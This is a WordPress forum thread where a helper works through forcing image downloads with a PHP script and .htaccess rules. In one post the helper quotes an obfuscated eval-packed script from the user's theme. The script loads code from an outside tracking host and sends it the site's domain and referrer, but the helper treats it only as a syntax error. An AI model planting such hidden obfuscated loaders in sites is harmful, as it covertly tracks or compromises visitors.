WordPress.org

Ready to get started?Download WordPress

Forums

What code to open a "Save As" window to download a file stored at the host? (25 posts)

  1. trappist
    Member
    Posted 1 year ago #

    Hello,

    I spent the last day browsing through the forum to look for an answer to this seemingly easy task, but could not find any. Hence I ask for your kind help.

    I am attempting to create an image galley in my website. On each photo thumbnail there are 2 icons: one to view a medium-size version and the second to download a full-size version of it.

    I have created a custom field named "largeimage". For each image I have defined the custom field as the URL to the full-size image to download (stored in my wp-content/uploads/ folder).

    I am not familiar with html or php, but by browsing several help pages I managed to copy and paste my way into the following code:

    <a class="saveimage-icon" href="<?php echo get_post_meta($post->ID,'largeimage',true); ?>">Download <?php the_title(); ?></a>

    Now, when I click on the "saveimage" icon, instead of opening a "Save As" window to let me save the image, the image is displayed in a new browser tab. This is not what I want.

    How do I get a "Save As" dialogue box to open and allow visitors to download and save the target image on their hard disk?

    Thank you very much for any help you can give.

  2. linux4me2
    Member
    Posted 1 year ago #

    I think you're looking in the wrong forum. :)

    There are basically two ways to force a download that I know of. The first is to use an .htaccess rule, but that's going to affect all of your images, which you don't want. The second is to use a PHP file to accept the file name and process the request, setting the file name as part of the query string in the link. The trick in PHP is to set the content-type as octet/stream, which makes most browsers think they need to download a file instead of trying to display it somehow themselves.

    For example, in it's simplest form, you create a PHP file called "download-image.php" with the following in it and upload it the root directory of your blog:

    <?php
    $imageurl = filter_input(INPUT_GET, 'imageurl', FILTER_SANITIZE_URL);
    // Clean the image URL to get the path and make sure the user is just getting an image.
    $url_parsed = parse_url($imageurl);
    $file = $_SERVER['DOCUMENT_ROOT'] . $url_parsed['path'];
    // Get the extension of the file.
    $extension = substr(strrchr($file ,'.'), 1);
    // Limit the extensions in this array to those you're allowing the user to download.
    $allowed_extensions = array('jpg', 'jpeg', 'png', 'gif');
    // Make sure the file requested is in your list of allowed extensions to make sure the user isn't downloading something other than an image.
    if (in_array(strtolower($extension), $allowed_extensions)) {
    	if (file_exists($file)) {
    		header ('Content-type: octet/stream');
    		header ('Content-disposition: attachment; filename=' . basename($file) . ';');
    		header('Content-Length: ' . filesize($file));
    		readfile($file);
    	}
    }
    ?>

    Then point your links to the download-image.php, passing the URL of the image to the PHP file with links like this:
    <a class="saveimage-icon" href="<?php echo home_url() . 'download-image.php?imageurl=' . get_post_meta($post->ID,'largeimage',true); ?>">Download <?php the_title(); ?></a>

  3. trappist
    Member
    Posted 1 year ago #

    Dear linux4me2,

    thank you very much for your helpful answer.

    I used your script on one sample image and it works.
    I had to add a "/" before the 'download-image.php?imageurl=' in my modified php code. I noticed it was missing by hovering the mouse over the download icon.

    What kind of rule should I insert in .htacces to obtain the same result?
    I am interested in understanding that method as well, as my website is about image sharing anyway, so I do not mind if visitors download all of it.

    BTW, what would be a more appropriate section of the forum to post this type of help requests?

  4. linux4me2
    Member
    Posted 1 year ago #

    The .htaccess would be something like this:

    <FilesMatch "\.(?i:jpg|gif|png)$">
      Header set Content-Disposition attachment
    </FilesMatch>

    The thing is, you only want to force the download for your download links, not for all images, and that's what the .htaccess would do.

    I suspect there is a fancier way to write a regex in .htacess to do it, but that's beyond my knowledge.

    I was thinking that your question is really not WordPress-specific, which often seems to be why people don't get answers in these forums. Somewhere like StackOverflow might have get you quicker answers to general PHP and .htaccess questions, but I realize that sometimes it's hard to know where to go if you aren't familiar with the implication of your questions. : )

  5. trappist
    Member
    Posted 1 year ago #

    Would such .htaccess rule work with my initial code, as it is?

    <a class="saveimage-icon" href="<?php echo get_post_meta($post->ID,'largeimage',true); ?>">Download <?php the_title(); ?></a>

    I will try it when I have more time.

    I will also have a look at StackOverflow, thank you for the suggestion.

    All the best.

  6. linux4me2
    Member
    Posted 1 year ago #

    I don't think the .htaccess approach would work as you intend, and it would be a hassle. You'd have to put it in every folder you wanted to force the downloads for, or at least a folder that was parent to them all, and with WordPress' image file structure, that's going to affect the thumbnails, too.

    You'd have to test it to be sure. I just offered it as one of the ways to force downloads, not a valid solution for your question.

    You're better off going with the PHP solution.

  7. trappist
    Member
    Posted 1 year ago #

    I am lost again, as I have noticed 2 problems with the newly-added image download functionality. It seems to only work for images uploaded through WP media library. I have created a folder structure at the root level (where the WP files are) to store the large images. I pass the correct path via the 'largeimage' custom field but, instead of opening the "Save As" dialogue box, an empty page is opened. I thought this could be due to my host caching the changes I make and hence they take time to propagate, but now I am starting to suspect it may be related to where images are stored (although the full URL is passed in the custom field, so the path should not be an issue).
    I would prefer to avoid uploading images via the WP media library, as it reveals the WP nature of the website through its silly absolute URLs for images (permalinks do not mask them) and creates a lot of redundant thumbnails.

    Another (less important) issue appears when I click "Cancel" on the "Save As" dialogue box, instead of actually saving the image. After I do that, the save icon on the thumbnail no longer works (it goes into an inactive state). Only after clicking somewhere else or refreshing the page it then reverts back to work. I wonder if I can add anything to the code to perform an icon refresh operation, so to speak.

    Thanks

  8. linux4me2
    Member
    Posted 1 year ago #

    If you get a blank page, I suspect it is because the file is not found; i.e., the $file variable in the code is incorrect to find the actual file. You can modify the code in download-image.php to this to debug it:

    <?php
    // Toggle this setting to debug the script.
    //define('DOWNLOAD_FILE_DEBUG_MODE', 0);	// Debug is off.
    define('DOWNLOAD_FILE_DEBUG_MODE', 1);	// Debug is on.
    $imageurl = filter_input(INPUT_GET, 'imageurl', FILTER_SANITIZE_URL);
    if (DOWNLOAD_FILE_DEBUG_MODE == 1) {
    	echo 'The URL you passed is ' . $imageurl . '<br>';
    }
    // Clean the image URL to get the path and make sure the user is just getting an image.
    $url_parsed = parse_url($imageurl);
    $file = $_SERVER['DOCUMENT_ROOT'] . $url_parsed['path'];
    if (DOWNLOAD_FILE_DEBUG_MODE == 1) {
    	echo 'The path to the file is: ' . $file . '<br>';
    }
    // Get the extension of the file.
    $extension = substr(strrchr($file ,'.'), 1);
    // Limit the extensions in this array to those you're allowing the user to download.
    $allowed_extensions = array('jpg', 'jpeg', 'png', 'gif');
    // Make sure the file requested is in your list of allowed extensions to make sure the user isn't downloading something other than an image.
    if (in_array(strtolower($extension), $allowed_extensions)) {
    	if (DOWNLOAD_FILE_DEBUG_MODE == 1) {
    		if (file_exists($file)) {
    			echo 'The file was found and includes an allowed extension. The code appears to be working correctly.';
    		} else {
    			echo 'The file was not found with the path: ' . $file . '.<br>';
    		}
    	} else {
    		if (file_exists($file)) {
    			header ('Content-type: octet/stream');
    			header ('Content-disposition: attachment; filename=' . basename($file) . ';');
    			header('Content-Length: ' . filesize($file));
    			readfile($file);
    		}
    	}
    } else {
    	if (DOWNLOAD_FILE_DEBUG_MODE == 1) {
    		echo 'The file's extension is not in the list of allowed extensions.';
    	}
    }
    ?>

    When you're done debugging, just comment out the line:
    define('DOWNLOAD_FILE_DEBUG_MODE', 1); // Debug is on.
    and uncomment the line:
    //define('DOWNLOAD_FILE_DEBUG_MODE', 0); // Debug is off.
    The reason I set the code up that way is that you can't debug at the same time you run the actual code or you'll probably get an error about the headers already being sent.

    Your second issue, the button only working one time, sounds like a javascript problem. I would start by looking at the javascript for the saveimage-icon class. Without seeing the code and/or looking at your site, that's about all I can tell you.

  9. trappist
    Member
    Posted 1 year ago #

    I tried the debug script and I got the following error:
    Internal Server Error
    The server encountered an internal error or misconfiguration and was unable to complete your request.

    I conducted some further tests and what I found out suggests a folder position issue, probably connected to access permission limits.

    The example URL I am attempting to download from is:
    http://www.mysite.org/download-image.php?imageurl=http://www.mysite.org/large/image.jpg
    This doesn't work if I click on the icon, but works (the dialogue box appears) if I copy and paste it into the URL field of my browser.

    The one that always works is:
    http://www.mysite.org/download-image.php?imageurl=http://www.mysite.org/wp-content/uploads/image.jpg

    As you can see, the only difference is the position of the target image.
    As a test, I moved the image around the folder structure and the problem only appears when attempting to download data that is anywhere outside the wp-content folder.

    It looks like an access permission problem. I set CHMOD permissions to 777 for the "large" folder and the images it contains, but that did not work either.
    I think something at the .htaccess must be configured for that "large" folder to be accessible in download mode.

    Some other web pages suggest that it could be possible to edit wp-config.php to change access permissions for folders, but I haven't found out how to do that specifically.

  10. linux4me2
    Member
    Posted 1 year ago #

    I just tested the script, and it works fine for me. The 500 error on the server does definitely suggest an .htaccess or other server configuration issue that may indeed be permissions or ownership related. That would explain why the code fails; you're trying to access a file you aren't allowed to access via the PHP script.

    If you are on a Linux/Unix server, your folders should be 755 and your files 644, with the owner:group set to the user name for your account. Since you already tested the folder permissions, I would take a look at the owner:group and make sure it's correct compared to the files that work.

    The other thing I was wondering about was whether some redirect in your .htaccess could be causing a problem, but that is unlikely if the code works for any other folder.

  11. linux4me2
    Member
    Posted 1 year ago #

    Wait a second, if the new file location pasted into the browser works, it's not the PHP script. It must be the link in your document or the javascript for the button. What does the link for the button look like and the "click" event for the button?

  12. trappist
    Member
    Posted 1 year ago #

    I can read and display images from any folder I create at the root level, but the downloading functionality for data outside wp-content doesn't seem to be enabled.

    My .htaccess is a standard one, I think. This what it looks like:

    # Begin default subdomain redirect #
    RewriteEngine on
    RewriteCond %{HTTP_HOST} ^mysite.org
    RewriteRule ^(.*)$ http://www.mysite.org/$1 [R=permanent,L]

    # End default subdomain redirect #

    DirectoryIndex index.php

    # BEGIN WordPress
    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteRule ^index\.php$ - [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
    </IfModule>

    # END WordPress

    I will check the owner:group thing, but as I said I set all to 777 as a test and it did not solve my problem.

  13. trappist
    Member
    Posted 1 year ago #

    Yes, I confirm that the script calls the "Save As" dialogue box if I paste the created URL into the browser, so it's not an issue with your script.

    The URL link structure for the button is the one I pasted above.
    Where do I find the "click" event for the button?

  14. linux4me2
    Member
    Posted 1 year ago #

    I don't see anything wrong in your .htaccess.

    I'm guessing that your button uses JQuery to manage the behavior and look of the button, but I'm only guessing. That would explain why it only fires once. For example, if there is a click event linked to the class "saveimage-icon" that changes the appearance by changing the class, you would lose the functionality of the click event once the button is clicked. The JQuery could be loaded as a separate file by your theme or it could be in the head section of the theme.

    Is it possible to give me a link to a test page on the site so I can see if I can find the JQuery associated with the button? If not, you should try the Firebug extension to Firefox to watch for errors in the javascript that could explain the button only working once, and to find out where the code resides, if any, that might be causing an issue with the button only working once. That still leaves us with the 500 error, though. I'm scratching my head on that one.

  15. trappist
    Member
    Posted 1 year ago #

    Here is a link to a test page with 2 images:
    http://www.sharemyphoto.org/#!/portfolio/

    I renamed your script dwi.php to have a shorter URL.

    The first image can be downloaded (stored in wp-content), the second (stored in large/portfolio) fails and opens an empty window instead.

  16. linux4me2
    Member
    Posted 1 year ago #

    Okay, I did find a javascript error, and I will see if I can figure out what the issue is there, but in the meantime, we should add urlencoding to the "imageurl" in the query string just to make sure that's not causing the problem. To do so, you'd change your links to this:
    <a class="saveimage-icon" href="<?php echo home_url() . '/dwi.php?imageurl=' . urlencode(get_post_meta($post->ID,'largeimage',true)); ?>">Download <?php the_title(); ?></a>
    and then change the code block to this:

    <?php
    // Toggle this setting to debug the script.
    //define('DOWNLOAD_FILE_DEBUG_MODE', 0);	// Debug is off.
    define('DOWNLOAD_FILE_DEBUG_MODE', 1);	// Debug is on.
    $imageurl = urldecode(filter_input(INPUT_GET, 'imageurl', FILTER_SANITIZE_URL));
    if (DOWNLOAD_FILE_DEBUG_MODE == 1) {
    	echo 'The URL you passed is ' . $imageurl . '<br>';
    }
    // Clean the image URL to get the path and make sure the user is just getting an image.
    $url_parsed = parse_url($imageurl);
    $file = $_SERVER['DOCUMENT_ROOT'] . $url_parsed['path'];
    if (DOWNLOAD_FILE_DEBUG_MODE == 1) {
    	echo 'The path to the file is: ' . $file . '<br>';
    }
    // Get the extension of the file.
    $extension = substr(strrchr($file ,'.'), 1);
    // Limit the extensions in this array to those you're allowing the user to download.
    $allowed_extensions = array('jpg', 'jpeg', 'png', 'gif');
    // Make sure the file requested is in your list of allowed extensions to make sure the user isn't downloading something other than an image.
    if (in_array(strtolower($extension), $allowed_extensions)) {
    	if (DOWNLOAD_FILE_DEBUG_MODE == 1) {
    		if (file_exists($file)) {
    			echo 'The file was found and includes an allowed extension. The code appears to be working correctly.';
    		} else {
    			echo 'The file was not found with the path: ' . $file . '.<br>';
    		}
    	} else {
    		if (file_exists($file)) {
    			header ('Content-type: octet/stream');
    			header ('Content-disposition: attachment; filename=' . basename($file) . ';');
    			header('Content-Length: ' . filesize($file));
    			readfile($file);
    		}
    	}
    } else {
    	if (DOWNLOAD_FILE_DEBUG_MODE == 1) {
    		echo 'The file's extension is not in the list of allowed extensions.';
    	}
    }
    ?>
  17. linux4me2
    Member
    Posted 1 year ago #

    The javascript error I'm getting is this:
    SyntaxError: identifier starts immediately after numeric literal
    and it's coming from line 54 of the source, which looks like a minified version of some javascript related to URLs. Since it's minified, I'm finding it really hard to read, though at least it's short. I think we might be getting the error because I didn't include URL-encoding/decoding in the links and script, so I would try the modified code above first and see if that resolves this error too.

  18. trappist
    Member
    Posted 1 year ago #

    I have uploaded the new script and updated the code with the link that includes the urlencode() function.

    The dwi.php I was running when I sent you the link to the test page was the first version, as the second caused the 500 error. I am now using the latest you sent, but I still get the empty window.

    I appreciate very much the help you are giving me, but if it gets too difficult to debug I will just keep it as it is, namely using wp-content for the download data and the faulty button. It's not the end of the world.

    I am new to WP and can now see the limits of its much-touted simplicity: as long as you build a lousy blog with twenty-eleven it's fine. Try to customise something and you open up Pandora's box with plenty frustration and time wasted. All this ugly stuff removes most of the pleasure to build a website.

  19. linux4me2
    Member
    Posted 1 year ago #

    After you've been doing it a while, as long as you aren't working under some time pressure, trying to figure this kind of thing out can be fun, though at times it can be frustrating. I'm too stubborn with these things to give up yet, but it's up to you. I think we should be able to get it to work.

    I'm getting 500 errors like this with both the /wp-content image and the /large image with the URL-encoding in there. There's even an extra "/" before dwi.php in the URL with the error messages even though it isn't in the hyperlink:
    http://www.sharemyphoto.org//dwi.php?imageurl=http%3A%2F%2Fwww.sharemyphoto.org%2Fwp-content%2Fdownloadtest.jpg"
    though if I take that out and browse to that URL, I still get a 500 error. That brings us back to either something in your .htaccess or a server configuration issue. Unfortunately, the 500 error is pretty non-specific.

    The next thing I would do is comment out that javascript on line 54 of your theme and re-test, because I am still seeing that error.

    The other thing I noticed is that you have two closing "head" tags on the page; the first actually on the same line as the javascript that's causing the error, line 54.

    It would be worth contacting your web host to see if they can give you any idea where the error is coming from.

  20. trappist
    Member
    Posted 1 year ago #

    Hmmmm, I do not get any 500 error. I only get an empty window when I hit the download icon for both images.

    I cannot see the extra "/" either.

    Could you please be more specific with the line 54 code? Sorry, but I am not really familiar with this stuff. Maybe you can copy and paste the relevant parts so that I can make changes to the code.

    The only script I have managed to use successfully is your first version (only for images under wp-content).

    Thanks for the suggestion. Tomorrow I will contact my host and see if they can grant to the "large" folder the same permissions as wp-contents.
    If they can't help me, maybe I can open a new thread to ask if anyone can suggest a specific fix in .htaccess.

  21. trappist
    Member
    Posted 1 year ago #

    I have been browsing the web for suggestions and found out that this issue has already been debated outside the WP community.

    For example, this is a php script based solution, like the one you suggested me:
    http://www.amember.com/forum/threads/force-file-downloads-with-htaccess.14980/
    Unfortunately they do not mention having any folder access restriction problems.

    I found the fix you suggest for .htaccess discussed in a few web pages, but found no mention on how to restrict the download of image files to a single folder. Maybe something like:

    <FilesMatch /large/portfolio/.*>
    Order Deny,Allow
    Allow from all
    </FilesMatch>

  22. linux4me2
    Member
    Posted 1 year ago #

    Whoops! I posted this before I saw your previous post. I'll take a look at what you found.

    I only get an empty window, too, but I'm seeing the 500 errors and the extra "/" in Firebug.

    The code on line 54 is this:
    <script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script>
    and right after that comes the code block with the two closing head tags:

    </head><style type="text/css" id="custom-background-css">
    body.custom-background { background-image: url('http://www.sharemyphoto.org/wp-content/uploads/2012/09/galleryQ98_tajbw.jpg'); background-repeat: no-repeat; background-position: top left; background-attachment: fixed; }
    </style>
    </head>

    You're doing fine! This stuff is confusing, and you're using a pretty complicated theme because of all the javascript.

  23. linux4me2
    Member
    Posted 1 year ago #

    I just set up two links on one of my WordPress sites to test this. I used the latest version of the dwi.php file I sent you, and tested it both in debug mode and in normal mode. One link connected to a wp-content/uploads folder, the other was to a /test/portfolio folder outside of WordPress' file structure like your /large folder. Both used the same image. The WordPress portion of the .htaccess is identical to the one you showed me above.

    # BEGIN WordPress
    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteRule ^index\.php$ - [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
    </IfModule>
    # END WordPress

    Both links worked in both debug mode and normal mode. I didn't get any errors. I also tested with the target attribute of the links set to "_blank" to see if that would make a difference. That works too, but of course it pops up a new tab briefly, then the new tab goes away once the download dialog pops up.

    The differences between the site I tested it on and yours are your theme and all its code, and your server configuration. Included in your theme is that we're attempting to use the links within fancybox. So I think the testing pretty much rules out something already in your .htaccess, and those 500 errors I see with Firebug and the extra "/" must be coming from elsewhere.

    Maybe we do need to drop back to the .htaccess method. If you put an .htaccess in the /large/portfolio folder to force download of images, as long as all the images you want to force the download for are in there, or you put a similar .htaccess in all the folders where you want to force the download, maybe that will work. I think I mentioned this earlier, but discarded it because it meant you had to mess with the .htaccess in all the affected folders.

    You can test it by putting the following in an .htaccess in the /large/portfolio folder and then just creating a hyperlink to a test image;

    SetEnvIf Request_URI "([^/]+\.jpg)$" REQUESTED_IMAGE_BASENAME=$1
    SetEnvIf Request_URI "([^/]+\.png)$" REQUESTED_IMAGE_BASENAME=$1
    Header set Content-Disposition "attachment; filename=\"%{REQUESTED_IMAGE_BASENAME}e\"" env=REQUESTED_IMAGE_BASENAME

    If just setting the Content-Disposition to "attachment" doesn't do it, you can also try setting the type to "octet/stream," but I think this should work. You don't have to worry about restricting it to a specific folder if you put the .htaccess in the specific folder instead of the root directory; it should affect the current folder and all subfolders.

    Your hyperlink code would change back to:
    <a class="saveimage-icon" href="<?php echo get_post_meta($post->ID,'largeimage',true); ?>">Download <?php the_title(); ?></a>

  24. trappist
    Member
    Posted 1 year ago #

    I created an empty .htaccess and included the 3 lines you posted above. I then reverted to the first hyperlink (without the dwi.php routine). I tested this and it did not work, the first image opened in a new browser tab instead of calling the download dialoge box. The second called the usual empty window. I then added the "ForceType application/octet-stream" to the .htaccess script, but it did not change the result. I even copied it to both folders "large" and its subfolder "portfolio", but no joy.

    I have now reverted to the original dwi.php script and I have opened a ticket with my host. If that fails, I am afraid I have to throw in the towel and stick to the wp-content folder, at least until someone else will come across the same problem and contributes towards a fix.

    I have learned a lot in these last 3 days, although at a price. I am not progressing with my website and I really need to crack on and finish it. :-)

    I am very grateful for all the time you have spent helping me. You truly embody the spirit of the collaborative open-source linux community.

  25. linux4me2
    Member
    Posted 1 year ago #

    Thanks. I'm really sorry we didn't get it working. Please post if you find anything out from your host. I'd like to know why what we tried isn't working.

Topic Closed

This topic has been closed to new replies.

About this Topic